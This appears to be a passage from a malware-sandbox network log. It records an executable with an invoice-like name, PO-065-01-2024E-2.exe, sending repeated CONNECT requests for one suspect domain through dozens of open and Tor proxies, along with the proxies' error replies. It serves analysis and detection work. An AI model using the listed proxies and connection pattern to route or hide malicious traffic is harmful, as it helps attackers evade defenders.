Mar 11, 2024 16:39:50.744549036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.954121113 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:51 GMT Transfer-Encoding: chunked
Mar 11, 2024 16:39:52.692538023 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:51 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1293	192.168.2.10	53975	5.161.231.34	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.763578892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.991591930 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1294	192.168.2.10	53559	134.209.29.120	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.769633055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1295	192.168.2.10	53804	5.202.104.22	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.779661894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1296	192.168.2.10	53907	134.209.189.42	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.922426939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.215899944 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1297	192.168.2.10	53929	118.163.13.200	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.922971964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.651742935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.614106894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.398768902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.147823095 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1298	192.168.2.10	53887	91.189.177.189	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.925867081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.248433113 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3703 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1299	192.168.2.10	54031	104.19.106.122	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.930170059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.084563971 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1300	192.168.2.10	53905	47.114.101.57	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.930711985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.255657911 CET	334	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 204 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1301	192.168.2.10	54037	104.17.16.87	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.930763006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.085120916 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1302	192.168.2.10	53945	152.32.187.164	8118	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.934518099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.651905060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.614151955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.504786015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.164846897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.801781893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.467320919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:07.663435936 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1303	192.168.2.10	53954	139.162.151.176	9050	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.936260939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:58.959127903 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1304	192.168.2.10	53925	119.93.122.233	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.955441952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1305	192.168.2.10	53811	117.160.250.132	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.955658913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.420686960 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1306	192.168.2.10	53931	185.32.6.121	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.980797052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1307	192.168.2.10	54038	35.190.107.16	30000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.980994940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1308	192.168.2.10	53878	103.120.6.46	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
